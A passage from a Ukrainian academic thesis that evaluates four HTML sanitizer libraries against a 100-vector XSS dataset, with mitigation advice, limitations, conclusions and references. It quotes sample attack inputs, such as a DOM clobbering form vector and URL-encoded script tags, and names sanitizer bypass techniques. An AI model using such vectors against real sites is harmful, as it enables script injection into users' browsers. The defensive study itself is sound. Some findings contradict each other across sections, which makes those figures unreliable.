Спільною прогалиною для всіх чотирьох бібліотек виявилася вразливість до DOM clobbering атак, що експлуатують особливість HTML, де елементи з атрибутами id або name автоматично стають властивостями глобального об'єкта window. Жодна з досліджуваних бібліотек у дефолтній конфігурації не блокувала вектори типу `<form><input name=attributes><input name=attributes>`, які можуть «заглушати» глобальні змінні та функції, створені JavaScript кодом, та модифікувати поведінку бібліотек і фреймворків. Encoded vectors, що пропустили три з чотирьох бібліотек, використовують URL encoding (`%3Cscript%3E`), HTML entities або інші форми кодування для приховування шкідливих конструкцій від алгоритмів пошуку паттернів санітайзерів.

Фундаментальною причиною вразливості до DOM clobbering є недостатня валідація атрибутів id та name у дефолтних політиках безпеки досліджуваних бібліотек. Ці атрибути традиційно розглядаються як безпечні, оскільки самі по собі не можуть виконувати JavaScript код, однак їх здатність перевизначати властивості глобального об'єкта створює непрямий вектор атаки через компрометацію логіки застосунку. Проблема ускладнюється тим, що блокування всіх елементів з атрибутами id та name є занадто рестриктивним підходом, який порушить функціональність легітимних елементів та ссилок, що вимагає більш складної контекстуальної валідації для дозволених значень цих атрибутів.

Обходи захисту через encoded vectors виникають внаслідок недосконалості декодування та нормалізації вхідних даних перед їх аналізом санітайзером. Коли HTML містить URL-encoded символи (`%3C` замість `<`, `%3E` замість `>`), деякі санітайзери можуть не розпізнати шкідливі конструкції, якщо декодування виконується браузером після санітизації або якщо санітайзер не здійснює повну канонізацію вхідних даних. Проблема ускладнюється можливістю багаторівневого кодування, де атакуючий може застосувати multiple encoding layers для обходу санітайзерів, що виконують лише одноразове декодування. Крім того, різні браузери

можуть по-різному інтерпретувати певні форми кодування, створюючи browser-specific обходи захисту.

Вразливість DOMPurify до data attribute injection у дефолтній конфігурації пояснюється тим, що data-* атрибути, введені в HTML5, розглядаються як безпечні метадані для зберігання додаткової інформації. Самі по собі ці атрибути не можуть виконувати код, але створюють вразливість, якщо клієнтський JavaScript небезпечно обробляє їх значення, наприклад, використовуючи eval() або innerHTML для динамічного створення контенту на основі data-атрибутів. Це представляє клас вразливостей, де санітайзер не може повністю захистити застосунок без розуміння того, як клієнтський код використовуватиме санітизований HTML.

Обходи захисту CSS injection у DOMPurify виникають через складність повної санітизації CSS коду, особливо в style атрибутах, де можливі техніки типу `url()` з javascript: протоколом або использование устаревших конструкций типу expression() у Internet Explorer. Хоча сучасні браузери блокують більшість таких векторів, підтримка legacy браузерів або неправильна конфігурація може дозволити виконання коду через CSS. Проблема CSS санітизації ускладнюється постійним з'явленням нових CSS властивостей та значень, що вимагає постійного оновлення білого списку дозволених конструкцій.

Обходи захисту SVG-based у js-xss пов'язані з недостатньою обробкою SVG namespace та специфічних SVG елементів у дефолтній конфігурації. SVG підтримує власні event handlers та може містити вкладені script елементи через foreignObject, створюючи альтернативні вектори атак, які можуть бути пропущені санітайзерами, що фокусуються на HTML namespace. Deprecated tags, такі як applet, залишаються вразливими точками через те, що деякі санітайзери не блокують застарілі елементи у дефолтних політиках, припускаючи, що сучасні браузери їх не підтримують, хоча в реальності підтримка може варіюватися.

3.3.3 Рекомендації щодо мітигації

Для мітигації DOM clobbering атак рекомендується впровадити строгу валідацію атрибутів id та name з використанням білого списку підходу, де дозволяються лише значення, що відповідають певному патерну (наприклад, префікси типу user-, form-) та не конфліктують з критичними властивостями глобального об'єкта. На рівні застосунку необхідно уникати покладання на глобальні змінні для критичної логіки та використовувати Object.hasOwnProperty() або Object.prototype.hasOwnProperty.call() для перевірки власних властивостей об'єктів замість прямого доступу. Для максимального захисту доцільно використовувати Content Security Policy з директивою trusted-types для обмеження можливих векторів DOM clobbering.

Захист від encoded vectors вимагає реалізації багаторівневої канонізації вхідних даних перед їх санітизацією. Рекомендований підхід включає ітеративне декодування HTML entities, URL encoding та інших форм кодування до стабілізації результату, після чого виконується санітизація нормалізованих даних. Важливо виконувати декодування у правильному порядку та обмежити кількість ітерацій для запобігання DOS атак. Також критично важливим є забезпечення консистентності між процесом декодування санітайзера та браузера для уникнення ситуацій, де декодування браузером після санітизації може виявити шкідливий код.

Для data attribute injection мітигація повинна відбуватися на двох рівнях. На рівні санітизації можна впровадити валідацію значень data-* атрибутів з блокуванням тих, що містять потенційно небезпечні конструкції тегів script або javascript: посилання. На рівні застосунку критично важливо ніколи не використовувати значення data-атрибутів безпосередньо в eval(), innerHTML, або інших небезпечних функцій sink без додаткової валідації. Рекомендується використовувати підхід білого списку, де атрибути обробляються лише для очікуваних типів даних (числа, булеві значення, обмежені enum значення) з строгою валідацією формату.

CSS injection мітигація вимагає використання спеціалізованих CSS санітайзерів або строгого білого списку CSS властивостей та значень. Рекомендується повністю блокувати url() функцію в style атрибутах або дозволяти лише https: URLs з білого списку доменів. Expression() та інші IE-specific конструкції повинні бути заблоковані в усіх конфігураціях. Для максимальної безпеки доцільно розглянути використання inline стилі лише для обмеженого набору безпечних властивостей (color, font-size, text-align) та переміщення всього складних стилей в CSS класи, які контролюються розробниками.

SVG-based attacks потребують специфічної обробки SVG namespace з блокуванням або строгою санітизацією foreignObject елементів, та тегів script всередині SVG контексту. Рекомендується використовувати окремі політики санітизації для SVG контенту або повністю блокувати SVG елементи, якщо вони не є критично необхідними для функціональності застосунку. Для застосунків, що потребують SVG підтримки, доцільно використовувати server-side SVG рендеринг з конвертацією в растрові формати або строго контрольовані SVG темплейти без динамічного контенту.

Загальною рекомендацією для всіх виявлених обходи захисту є перехід від дефолтних до спеціальних конфігурацій санітайзерів, налаштованих під специфічні потреби застосунку. Це включає явне визначення білого списку дозволених елементів та атрибутів замість покладання на дефолтні політики, впровадження додаткових валідаційних правил для критичних атрибутів, та регулярне оновлення конфігурації при появі нових векторів атак.

Критично важливим є розуміння, що санітизація не може бути єдиним механізмом захисту і повинна використовуватися як частина defense-in-depth стратегії. Комбінація санітизації із строгим CSP, правильним використанням безпечних API на стороні клієнта (textContent замість innerHTML, setAttribute замість прямого присвоєння event handlers), input validation на стороні сервера, та regular penetration testing забезпечує максимально можливий рівень захисту від XSS атак.

Також рекомендується впровадити моніторинг та логування спроб атак для раннього виявлення нових векторів та адаптації захисних механізмів.

3.4 Обмеження дослідження та напрямки подальших робіт

3.4.1 Обмеження методології та тестового середовища

Проведене дослідження ефективності бібліотек санітизації HTML має ряд методологічних обмежень, що необхідно враховувати при інтерпретації результатів. Зокрема, бібліотека DOMPurify, незважаючи на низьку інтегральну оцінку у дефолтній конфігурації, залишається одним з найбільш широко використовуваних та рекомендованих OWASP рішень завдяки своїй гнучкості налаштування, потужній підтримці спільноти та можливості значної оптимізації продуктивності через конфігурацію.

Тестове середовище на базі Node.js сервера з інтеграцією трьох JavaScript бібліотек та однієї Java-based бібліотеки (OWASP Java HTML Sanitizer) створює певні обмеження у порівнянні продуктивності через різницю в середовищах виконання програм. Вимірювання часу санітизації та споживання пам'яті для Java бібліотеки в окремому JVM процесі може не бути повністю коректним для порівняння з JavaScript бібліотеками, що виконуються в V8 engine. Крім того, використання Puppeteer для автоматизованого тестування додає накладні витрати, які можуть вплинути на точність вимірювання продуктивності, особливо для швидких операцій санітизації.

3.4.2 Обмеження датасету векторів атак

Розроблений датасет зі 100 векторів XSS атак, незважаючи на широке покриття класичних та сучасних технік, має прогалини, такі як відсутність є мутаційних XSS (mXSS) векторів, які експлуатують відмінності між тим, як HTML парситься санітайзером при першому проході, та як він ре-парситься браузером після серіалізації. Mutation XSS атаки часто використовують «namespace confusion» техніки,

де контент парситься санітайзером в одному контексті, а рендериться браузером в іншому, що призводить до зміни інтерпретації коду.

Датасет також не містить framework-specific векторів, що експлуатують особливості популярних JavaScript фреймворків типу React, Vue.js, або Angular. Наприклад, React dangerouslySetInnerHTML, Vue v-html директива, або Angular bypassSecurityTrust методи створюють специфічні вектори атак, які можуть обходити стандартну санітизацію.

3.4.3 Обмеження метрик оцінювання

Багатокритеріальний аналіз на основі зваженої суми, застосований у дослідженні, має властиві обмеження математичного апарату. Визначення вагових коефіцієнтів критеріїв (Security 0,38, Performance 0,18, Memory 0,18, Maintenance 0,11, Popularity 0,10, Size 0,05) базується на експертній оцінці пріоритетності показників для типових веб-застосунків, але може не відповідати специфічним вимогам конкретних проектів. Організації з різними профілями ризиків, ресурсними обмеженнями, або архітектурними вимогами можуть потребувати суттєво різних вагових коефіцієнтів. Наприклад, для високонавантажених систем з обмеженими ресурсами критерії Performance та Memory можуть мати значно більшу вагу, тоді як для систем з критичними вимогами до безпеки вага Security може досягати 0,6-0,7.

Метрика Security, що вимірюється як відсоток заблокованих векторів атак, не враховує відносну небезпечність різних типів атак. Всі 100 векторів розглядаються як рівноцінні, хоча насправді деякі вектори (наприклад, прості event handlers) значно легше детектуються та блокуються.

Також не враховувався warm-up ефект для JIT-компільованого коду, що може бути суттєвим для JavaScript бібліотек у продакшн середовищі з тривалим часом роботи процесу.

3.4.4 Контекстуальні обмеження дослідження

Дослідження фокусувалося виключно на серверній санітизації HTML у контексті захисту від Stored та Reflected XSS атак, не охоплюючи інші важливі аспекти веб-безпеки. DOM-based XSS, що виникає повністю на клієнтській стороні через небезпечну маніпуляцію DOM без серверної взаємодії, потребує різних підходів до захисту, включаючи правильне використання безпечних DOM API, уникнення innerHTML та інших небезпечних методів, та застосування trusted types.

3.4.5 Напрямки подальших досліджень

Розширення датасету векторів атак є пріоритетним напрямком для підвищення валідності результатів тестування. Критично важливим є додавання мутаційних XSS векторів, що експлуатують різницю між парсингом санітайзера та браузера, включаючи namespace confusion атаки, context-switching техніки, та експлуатацію особливостей HTML5 parsing algorithm. Framework-specific вектори для популярних JavaScript фреймворків можуть бути інтегровані у датасет для оцінки ефективності санітизації. Це включає вектори, що експлуатують dangerouslySetInnerHTML в React, v-html та v-bind:html у Vue, bypassSecurityTrustHtml в Angular.

Вдосконалення методології оцінювання може включати розробку більш складної метрики безпеки з зважженням векторів атак на основі їх реальної небезпечності, складності виявлення, та частоти використання у атаках. Також доцільно впровадити градуйовану оцінку результатів санітизації, що враховуватиме часткову нейтралізацію загроз.

Тестування продуктивності може бути розширене включенням сценарієв з різноманітними розмірами та структурною складністю документів, що відображають реальні сценарії використання. Тестування під навантаженням з множинними конкурентними запитами виявить потенційні проблеми з багатопотоковість та дозволить оцінити деградацію продуктивності при високому навантаженні.

Порівняльний аналіз оптимізованих конфігурацій бібліотек є важливим напрямком для розуміння повного потенціалу різних рішень. Інтеграція з іншими механізмами захисту у defense-in-depth підході потребує систематичного дослідження. Це включає оцінку ефективності санітизації у поєднанні з різними CSP конфігураціями, аналіз взаємодії з Trusted Types API, дослідження можливостей інтеграції з WAF та RASP рішеннями, та розробку кращих практик для комплексного захисту від XSS атак.

Розробка автоматизованих інструментів для автоматизованого безперервного тестування санітизаційних бібліотек є перспективним напрямком. Створення фреймворка для автоматичної генерації та тестування нових векторів атак, інтеграція з CI/CD pipelines для регресійного тестування при оновленні бібліотек, та розробка застосунків для моніторингу ефективності санітизації у production середовищі забезпечать проактивний підхід до безпеки. Також доцільно дослідити можливості використання машинне навчання для автоматичного виявлення нових векторів атак та генерації тестових випадків.

Дослідження впливу нових браузерних специфікацій та стандартів на ефективність санітизації є важливим для підтримки актуальності результатів. Впровадження Trusted Types API, Sanitizer API, та інших майбутніх стандартів може суттєво змінити ландшафт веб-безпеки та підходи до санітизації. Систематичне відстеження еволюції веб-платформи та своєчасна адаптація методології тестування забезпечить довгострокову цінність дослідження. Також важливим є аналіз різниці у парсингу та рендерингу HTML в браузері, що може створювати специфічні браузерні вразливості.

Кросс-мовне порівняння санітизаційних бібліотек для різних серверних платформ (Python, Ruby, PHP, Go, .NET) дозволить створити більш повну картину доступних рішень та виявити кращі практики, що можуть бути перенесені між екосистемами. Дослідження також повинно охопити клієнтські санітизаційні бібліотеки та їх ефективність у контексті Single Page Applications, Progressive Web

Apps, та інших сучасних архітектурних патернів. Порівняння серверної та клієнтської санітизації виявить оптимальні точки для застосування кожного підходу у гібридній архітектурі.

Висновки до третього розділу

У третьому розділі проведено комплексне експериментальне дослідження ефективності бібліотек санітизації HTML для захисту від XSS-атак, що включало розробку репрезентативного датасету з 100 векторів атак, створення автоматизованого тестового стенду на базі Node.js та Puppeteer, систематичне тестування чотирьох провідних бібліотек, та багатокритеріальне оцінювання їх ефективності.

Розроблений датасет забезпечив широке покриття як класичних, так і сучасних технік експлуатації вразливостей, відображаючи еволюцію веб-платформи. Визнано обмеження датасету у покритті мутаційних XSS векторів та технік обходу Content Security Policy, що є напрямком для подальших досліджень.

Експериментальне тестування виявило суттєві відмінності в ефективності захисту у типових конфігураціях. Бібліотека sanitize-html продемонструвала найвищий показник блокування 98%, пропустивши лише вектори з кодуванням URL та DOM clobbering атаки. OWASP Java HTML Sanitizer показав ідентичний рівень захисту 98%, підтверджуючи репутацію рішень OWASP. DOMPurify у типовій конфігурації заблокувала 96% векторів, пропустивши ін'єкції через data-атрибути, CSS ін'єкції, кодовані вектори та DOM clobbering. Бібліотека js-xss показала найнижчий рівень захисту 95%, пропустивши п'ять категорій атак.

Критичним результатом стало виявлення універсальної вразливості всіх чотирьох досліджуваних бібліотек до DOM clobbering атак у типових конфігураціях. Вектори з кодуванням URL також обійшли захист усіх бібліотек, демонструючи проблему недостатньої канонізації вхідних даних перед санітизацією.

Аналіз продуктивності виявив очікувану кореляцію між ефективністю захисту та накладними витратами. Бібліотека sanitize-html, незважаючи на найвищий рівень

безпеки, продемонструвала найповільнішу швидкість санітизації. DOMPurify показала найкращий баланс між безпекою та продуктивністю. Бібліотека js-xss забезпечила найвищу швидкість за рахунок спрощених алгоритмів перевірки.

Застосування багатокритеріального оцінювання з ваговими коефіцієнтами (безпека 0.38, продуктивність 0.18, пам'ять 0.18, підтримка 0.11, популярність 0.10, розмір 0.05) дозволило отримати інтегральні оцінки: sanitize-html – 9.26/10, OWASP Java HTML Sanitizer – 8.94/10, DOMPurify – 8.53/10, js-xss – 7.85/10. Важливо відзначити, що визначені вагові коефіцієнти відображають пріоритети для типових веб-застосунків, але організації з різними профілями ризиків можуть потребувати їх адаптації.

Сформульовано конкретні рекомендації мітигації виявлених вразливостей: для DOM clobbering – строга валідація атрибутів id/name через білий список; для векторів з кодуванням – багаторівнева канонізація з обмеженням ітерацій; для data-атрибутів – заборона використання у небезпечних приймачах; для CSS ін'єкцій – спеціалізовані санітайзери або блокування функції url(); для SVG векторів – специфічна обробка простору імен та foreignObject елементів.

Загальною рекомендацією є необхідність переходу від типових до спеціалізованих конфігурацій, налаштованих під специфічні потреби застосунку, з явним визначенням білого списку дозволених елементів та атрибутів. Критично важливим є розуміння, що санітизація повинна використовуватися як частина стратегії багаторівневого захисту разом з Content Security Policy, валідацією на стороні сервера, та регулярним тестуванням на проникнення.

Обмеження дослідження включають тестування виключно типових конфігурацій, що не розкриває повного потенціалу бібліотек, особливо високо конфігурованої DOMPurify, та відсутність у датасеті мутаційних XSS векторів. Напрямки подальших досліджень включають розширення датасету, порівняльний аналіз оптимізованих конфігурацій, дослідження синергетичних ефектів

багаторівневого захисту, та розробку методології адаптації вагових коефіцієнтів для різних профілів застосунків.

ВИСНОВКИ

У дипломній роботі проведено комплексне дослідження методів та засобів захисту веб-застосунків від міжсайтових скриптових атак, що включало систематизацію теоретичних основ XSS-вразливостей, аналіз сучасних превентивних механізмів захисту, експериментальне порівняння ефективності провідних бібліотек санітизації HTML, та розробку практичних рекомендацій щодо побудови багаторівневого захисту [55] .

Завдання аналізу існуючих підходів до класифікації XSS-вразливостей вирішено через систематичне дослідження трьох основних типів атак. Reflected XSS використовує параметри HTTP запитів для одноразової ін'єкції шкідливого коду, Stored XSS зберігає код на сервері з виконанням при кожному завантаженні сторінки, DOM-based XSS виконується виключно на стороні клієнта через маніпуляцію об'єктною моделлю документа. Встановлено, що міжсайтовий скриптинг стабільно присутній в OWASP Top 10 протягом останніх двох десятиліть. Stored XSS представляє найбільшу загрозу через персистентність та можливість масової компрометації, DOM-based XSS є найскладнішою для детектування через здатність обходити серверні засоби захисту.

Дослідження механізмів експлуатації XSS-атак виявило критичну проблему мутаційних атак, що експлуатують різницю між парсингом HTML санітайзера та браузера. Встановлено, що сучасні вектори використовують нові веб-технології, включаючи Web Workers, WebAssembly та Shadow DOM. Підтверджено неприпустимість самописних санітайзерів через систематичні прогалини внаслідок неповного розуміння всіх можливих векторів атак.

Завдання аналізу застосування контролів NIST SP 800-53 вирішено через дослідження інтеграції формалізованих підходів з практичними рекомендаціями OWASP. Контроли SI-10 та SI-11 забезпечують валідацію та санітизацію вхідних даних, контроли SA-11 та SA-15 інтегрують безпеку в процес розробки. Дослідження

фреймворк-специфічних захистів показало, що React демонструює консервативний підхід з автоматичним екрануванням, Angular надає найкомплекснішу систему через довірені типи та DomSanitizer, Vue.js займає проміжну позицію. Content Security Policy підтверджено як критичний механізм багаторівневого захисту, при цьому конфігурації на основі одноразових міток або хешів виявилися найефективнішими.

Експериментальне дослідження ефективності бібліотек санітизації проведено на датасеті зі 100 векторів XSS-атак, що охопив десять категорій загроз: класичні техніки, SVG-based атаки, застарілі HTML теги, CSS ін'єкції, кодування, сучасні API включаючи Web Workers та WebAssembly, спостереження DOM, JavaScript ES6+, DOM clobbering. Розроблено автоматизований стенд на базі Node.js з Puppeteer для систематичного порівняння sanitize-html, OWASP Java HTML Sanitizer, DOMPurify та js-xss. Результати: sanitize-html – 98% блокування, оцінка 9.26/10; OWASP Sanitizer – 98%, оцінка 8.94/10; DOMPurify – 96%, оцінка 8.53/10; js-xss – 95%, оцінка 7.85/10.

Критичним результатом стало виявлення універсальної вразливості всіх бібліотек до DOM clobbering атак у типових конфігураціях, де елементи з атрибутами id або name стають властивостями глобального простору імен window. Вектори з кодуванням URL обійшли захист трьох з чотирьох бібліотек, демонструючи проблему недостатньої канонізації. Застосування багатокритеріального оцінювання з ваговими коефіцієнтами (безпека 0.38, продуктивність 0.18, пам'ять 0.18, підтримка 0.11, популярність 0.10, розмір 0.05) дозволило отримати об'єктивні інтегральні оцінки з можливістю адаптації під організаційні вимоги.

Завдання розробки практичних рекомендацій вирішено через формулювання настанов щодо вибору методів захисту для різних сценаріїв. Для застосунків з високими вимогами до безпеки рекомендовано sanitize-html, для клієнтських застосунків – DOMPurify, для Java екосистеми – OWASP Sanitizer. Сформульовано рекомендації мітигації: для DOM clobbering – валідація id/name через білий список; для векторів з кодуванням – багаторівнева канонізація; для data-атрибутів – заборона

eval(); для CSS – блокування url(); для CSP – директиви nonce-based або hash-based з strict-dynamic для SPA.

Встановлено, що досягнення мети підвищення рівня захищеності веб-застосунків вимагає комбінації п'яти рівнів захисту: санітизації у спеціалізованих конфігураціях; Content Security Policy з директивами на основі міток або хешів; Web Application Firewalls для периметрового фільтрування; Runtime Application Self-Protection для контекстуального захисту; безпечних практик розробки з фреймворками, що надають автоматичне екранування. Кожен рівень компенсує обмеження інших, створюючи глибоко ешеловану оборону.

Результати мають практичну цінність, надаючи об'єктивні дані для вибору санітизаційних рішень, конкретні рекомендації налаштування, та методологію багатокритеріального оцінювання. Датасет зі 100 векторів може використовуватись для навчання розробників та тестування санітайзерів. Перспективи включають розширення датасету мутаційними векторами та CSP bypass техніками, аналіз оптимізованих конфігурацій, дослідження синергетичних ефектів багаторівневого захисту, та вплив генеративного AI на ландшафт загроз.

Оформлення результатів цього дослідження здійснювалося згідно з методичними рекомендаціями кафедри [56].

СПИСОК ВИКОРИСТАНИХ ДЖЕРЕЛ

1. Internet Live Stats [Електронний ресурс]. URL: https://www.internetlivestats.com/total-number-of-websites/

2. HackerOne Report 2024 [Електронний ресурс]. URL: https://www.hackerone.com/resources/reporting/hacker-powered-security-report-2024

3. Caseirito, J., & Medeiros, I. (2021). Finding Web Application Vulnerabilities with an Ensemble Fuzzing. In 2021 51st Annual IEEE/IFIP International Conference on Dependable Systems and Networks - Supplemental Volume (DSN-S) (pp. 19–20). 2021 51st Annual IEEE/IFIP International Conference on Dependable Systems and Networks - Supplemental Volume (DSN-S). IEEE. https://doi.org/10.1109/dsn-s52858.2021.00020

4. IBM Cost of Data Breach 2024 [Електронний ресурс]. URL: https://www.ibm.com/reports/data-breach

5. Ali, M. (2022). Attribute-Based Remote Data Auditing and User Authentication for Cloud Storage Systems. The ISC International Journal of Information Security, Online First. https://doi.org/10.22042/isecure.2022.0.0.0

6. Su, H., Li, F., Xu, L., Hu, W., Sun, Y., Sun, Q., Chao, H., & Huo, W. (2023). Splendor: Static Detection of Stored XSS in Modern Web Applications. In Proceedings of the 32nd ACM SIGSOFT International Symposium on Software Testing and Analysis (pp. 1043–1054). ISSTA '23: 32nd ACM SIGSOFT International Symposium on Software Testing and Analysis. ACM. https://doi.org/10.1145/3597926.3598116

7. Su, H., Li, F., Xu, L., Hu, W., Sun, Y., Sun, Q., Chao, H., & Huo, W. (2023). Splendor: Static Detection of Stored XSS in Modern Web Applications. In Proceedings of the 32nd ACM SIGSOFT International Symposium on Software Testing and Analysis (pp. 1043–1054). ISSTA '23: 32nd ACM SIGSOFT International Symposium on Software Testing and Analysis. ACM. https://doi.org/10.1145/3597926.3598116

8. Matam, V., Shankaranarayana Hebbar, H. S., Jha, P., Bhat, A., Nagasundari, S., & Honnavalli, P. B. (2022). Two-Tier Securing Mechanism Against Web Application

Attacks. In Lecture Notes in Electrical Engineering (pp. 787–798). Springer Nature Singapore. https://doi.org/10.1007/978-981-19-2177-3_73

9. Tan, X., Xu, Y., Wu, T., & Li, B. (2023). Detection of Reflected XSS Vulnerabilities Based on Paths-Attention Method. Applied Sciences, 13(13), 7895. https://doi.org/10.3390/app13137895

10. Su, H., Li, F., Xu, L., Hu, W., Sun, Y., Sun, Q., Chao, H., & Huo, W. (2023). Splendor: Static Detection of Stored XSS in Modern Web Applications. In Proceedings of the 32nd ACM SIGSOFT International Symposium on Software Testing and Analysis (pp. 1043–1054). ISSTA '23: 32nd ACM SIGSOFT International Symposium on Software Testing and Analysis. ACM. https://doi.org/10.1145/3597926.3598116

11. Hickling, J. (2021). What is DOM XSS and why should you care? Computer Fraud & Security, 2021(4), 6–10. https://doi.org/10.1016/s1361-3723(21)00040-3

12. Ninawe, S., & Wajgi, R. (2019). Detection of DOM-Based XSS Attack on Web Application. In Lecture Notes on Data Engineering and Communications Technologies (pp. 633–641). Springer International Publishing. https://doi.org/10.1007/978-3-030-28364-3_65

13. Bensalim, S., Klein, D., Barber, T., & Johns, M. (2021). Talking About My Generation. In Proceedings of the 14th European Workshop on Systems Security (pp. 27–33). EuroSys '21: Sixteenth European Conference on Computer Systems. ACM. https://doi.org/10.1145/3447852.3458718

14. NIST 800-53 Electronic Documentation [Електронний ресурс]. URL: https://csrc.nist.gov/pubs/sp/800/53/r5/upd1/final

15. NIST Special Publication, 2023 [Електронний ресурс]. URL: https://www.sailpoint.com/identity-library/nist-800-53

16. Wang, T., Zhao, D., & Qi, J. (2022). Research on Cross-site Scripting Vulnerability of XSS Based on International Student Website. In 2022 International Conference on Computer Network, Electronic and Automation (ICCNEA) (pp. 154–158).

2022 International Conference on Computer Network, Electronic and Automation (ICCNEA). IEEE. https://doi.org/10.1109/iccnea57056.2022.00043

17. Wang, P., Guemundsson, B. A., & Kotowicz, K. (2021). Adopting Trusted Types in ProductionWeb Frameworks to Prevent DOM-Based Cross-Site Scripting: A Case Study. In 2021 IEEE European Symposium on Security and Privacy Workshops (EuroS&PW) (pp. 60–73). 2021 IEEE European Symposium on Security and Privacy Workshops (EuroS&PW). IEEE. https://doi.org/10.1109/eurospw54576.2021.00013

18. Ren, M., & Yue, C. (2023). Coverage and Secure Use Analysis of Content Security Policies via Clustering. In 2023 IEEE 8th European Symposium on Security and Privacy (EuroS&P) (pp. 411–428). 2023 IEEE 8th European Symposium on Security and Privacy (EuroS&P). IEEE. https://doi.org/10.1109/eurosp57164.2023.00032

19. Golinelli, M., Bonomi, F., & Crispo, B. (2024). The Nonce-nce of Web Security: An Investigation of CSP Nonces Reuse. In Lecture Notes in Computer Science (pp. 459–475). Springer Nature Switzerland. https://doi.org/10.1007/978-3-031-54129-2_27

20. Stolz, P., Roth, S., & Stock, B. (2022). To hash or not to hash: A security assessment of CSP's unsafe-hashes expression. In 2022 IEEE Security and Privacy Workshops (SPW) (pp. 1–12). 2022 IEEE Security and Privacy Workshops (SPW). IEEE. https://doi.org/10.1109/spw54247.2022.9833888

21. Wi, S., Nguyen, T. T., Kim, J., Stock, B., & Son, S. (2023). DiffCSP: Finding Browser Bugs in Content Security Policy Enforcement through Differential Testing. In Proceedings 2023 Network and Distributed System Security Symposium. Network and Distributed System Security Symposium. Internet Society. https://doi.org/10.14722/ndss.2023.24200

22. Calzavara, S., Urban, T., Tatang, D., Steffens, M., & Stock, B. (2021). Reining in the Web's Inconsistencies with Site Policy. In Proceedings 2021 Network and Distributed System Security Symposium. Network and Distributed System Security Symposium. Internet Society. https://doi.org/10.14722/ndss.2021.23091

23. Et-tolba, M., Hanin, C., & Belmekki, A. (2024). An Assessment System for ML-Based XSS Attack Detection Models Between Accuracy Coverage and Data. In Studies in Computational Intelligence (pp. 441–452). Springer Nature Switzerland. https://doi.org/10.1007/978-3-031-65038-3_35

24. Abu Al-Haija, Q. (2023). Cost-effective detection system of cross-site scripting attacks using hybrid learning approach. Results in Engineering, 19, 101266. https://doi.org/10.1016/j.rineng.2023.101266

25. Younas, F., Raza, A., Thalji, N., Abualigah, L., Zitar, R. A., & Jia, H. (2024). An efficient artificial intelligence approach for early detection of cross-site scripting attacks. Decision Analytics Journal, 11, 100466. https://doi.org/10.1016/j.dajour.2024.100466

26. Karthika, S., Padmavathi, G., Roshni, A., & Varshini, S. (2024). Detecting Cross-Site Scripting Attack using Machine Learning Algorithms. In 2024 11th International Conference on Computing for Sustainable Global Development (INDIACom) (pp. 991–995). 2024 11th International Conference on Computing for Sustainable Global Development (INDIACom). IEEE. https://doi.org/10.23919/indiacom61295.2024.10499119

27. Santithanmanan, K. (2022). The Detection Method for XSS Attacks on NFV by Using Machine Learning Models. In 2022 International Conference on Decision Aid Sciences and Applications (DASA) (pp. 620–623). 2022 International Conference on Decision Aid Sciences and Applications (DASA). IEEE. https://doi.org/10.1109/dasa54658.2022.9765122

28. Fowdur, T. P., & Hosenally, S. (2022). A real-time machine learning application for browser extension security monitoring. Information Security Journal: A Global Perspective, 33(1), 16–41. https://doi.org/10.1080/19393555.2022.2128944

29. Tamamura, K., Sakai, S., Watarai, K., Okada, S., & Mitsunaga, T. (2023). Detection of XSS Attacks with One Class SVM Using TF-IDF and Devising a Vectorized Vocabulary. In 2023 IEEE International Conference on Computing (ICOCO) (pp. 35–40).

2023 IEEE International Conference on Computing (ICOCO). IEEE. https://doi.org/10.1109/icoco59262.2023.10397619

30. Nad, P. T., Kumari, V. S., & Ramasenderan, N. (2024). Implementation of support vector machine with accuracy for detecting cross-site-scripting attack compared to K-nearest neighbors for web applications. In AIP Conference Proceedings (Vol. 3161, p. 020205). PROCEEDINGS OF 5TH INTERNATIONAL CONFERENCE ON SUSTAINABLE INNOVATION IN ENGINEERING AND TECHNOLOGY 2023. AIP Publishing. https://doi.org/10.1063/5.0229213

31. Hakim, N. A. N., Suryani, V., & Irsan, M. (2024). Detection of Cross-Site Scripting Attacks on Web Applications Using the LSTM Method. In 2024 12th International Conference on Information and Communication Technology (ICoICT) (pp. 432–437). 2024 12th International Conference on Information and Communication Technology (ICoICT). IEEE. https://doi.org/10.1109/icoict61617.2024.10698259

32. A. R. Farea, A., Abdullah Amran, G., Farea, E., Alabrah, A., A. Abdulraheem, A., Mursil, M., & A. A. Al-qaness, M. (2023). Injections Attacks Efficient and Secure Techniques Based on Bidirectional Long Short Time Memory Model. Computers, Materials & Continua, 76(3), 3605–3622. https://doi.org/10.32604/cmc.2023.040121

33. Farea, A. A. R., Wang, C., Farea, E., & Ba Alawi, A. (2021). Cross-Site Scripting (XSS) and SQL Injection Attacks Multi-classification Using Bidirectional LSTM Recurrent Neural Network. In 2021 IEEE International Conference on Progress in Informatics and Computing (PIC) (pp. 358–363). 2021 IEEE International Conference on Progress in Informatics and Computing (PIC). IEEE. https://doi.org/10.1109/pic53636.2021.9687064

34. Berjawi, O., Attar, A. E., Chbib, F., Khatoun, R., & Fahs, W. (2023). Cyberattacks Detection Through Behavior Analysis of Internet Traffic. Procedia Computer Science, 224, 52–59. https://doi.org/10.1016/j.procs.2023.09.010

35. Bin Shahid, W., Aslam, B., Abbas, H., Afzal, H., & Rashid, I. (2022). An Ensemble Based Deep Learning Framework to Detect and Deceive XSS and SQL Injection

Attacks. In Lecture Notes in Computer Science (pp. 183–195). Springer International Publishing. https://doi.org/10.1007/978-3-031-21743-2_15

36. Peng, B., Xiao, X., & Wang, J. (2022). Cross-Site Scripting Attack Detection Method Based on Transformer. In 2022 IEEE 8th International Conference on Computer and Communications (ICCC) (pp. 1651–1655). 2022 IEEE 8th International Conference on Computer and Communications (ICCC). IEEE. https://doi.org/10.1109/iccc56324.2022.10065892

37. Wan, S., Xian, B., Wang, Y., & Lu, J. (2024). Methods for Detecting XSS Attacks Based on BERT and BiLSTM. In 2024 8th International Conference on Management Engineering, Software Engineering and Service Sciences (ICMSS) (pp. 1–7). 2024 8th International Conference on Management Engineering, Software Engineering and Service Sciences (ICMSS). IEEE. https://doi.org/10.1109/icmss61211.2024.00008

38. Hu, T., Xu, C., Zhang, S., Tao, S., & Li, L. (2023). Cross-site scripting detection with two-channel feature fusion embedded in self-attention mechanism. Computers & Security, 124, 102990. https://doi.org/10.1016/j.cose.2022.102990

39. Kim, J., & Park, J. (2023). Enhancing Security of Web-Based IoT Services via XSS Vulnerability Detection. Sensors, 23(23), 9407. https://doi.org/10.3390/s23239407

